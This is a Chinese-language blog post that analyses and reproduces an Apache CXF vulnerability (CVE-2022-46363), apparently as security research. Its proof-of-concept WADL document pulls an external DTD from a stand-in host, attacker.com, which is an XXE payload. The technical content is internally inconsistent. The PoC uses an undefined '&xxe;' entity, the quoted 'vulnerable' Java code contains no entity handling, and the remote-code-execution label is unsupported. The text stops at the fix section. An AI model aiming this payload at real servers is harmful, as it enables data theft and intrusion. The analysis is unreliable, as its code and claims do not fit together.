Below you will find pages that utilize the taxonomy term “Web安全”
February 10, 2023
Apache CXF远程代码执行漏洞(CVE-2022-46363)分析与复现
春节假期结束,收拾心情重新投入到工作中。趁着年后这段时间,深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞,这里跟大家分享下我的分析过程。
漏洞概述
- CVE编号: CVE-2022-46363
- 影响版本:
- Apache CXF < 3.4.10
- Apache CXF 3.5.0 到 3.5.4
- CVSS评分: 7.5 (高危)
- 漏洞类型: 远程代码执行
漏洞原理分析
这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说,是在处理WADL文档中的resource元素时,对外部实体引用(XXE)的处理不当。
关键代码片段:
public class WADLToJavaProcessor {
private void processResources(Resources resources) {
for (Resource r : resources.getResource()) {
// 这里直接处理外部资源,没有做足够的安全检查
String path = r.getPath();
processResource(path);
}
}
}
漏洞触发条件
- WADL文档中包含恶意的外部实体引用
- 服务器启用了WADL生成功能
- 攻击者能够控制WADL文档的输入
漏洞复现
1. 环境搭建
<!-- pom.xml -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxrs</artifactId>
<version>3.4.9</version>
</dependency>
2. 构造POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
<resources base="http://example.com/">
<resource path="test">
&xxe;
</resource>
</resources>
</application>
3. 验证过程
- 启动包含漏洞版本的CXF服务
- 发送构造的WADL文档
- 观察服务器响应和日志
修复方案
-
官方修复方案: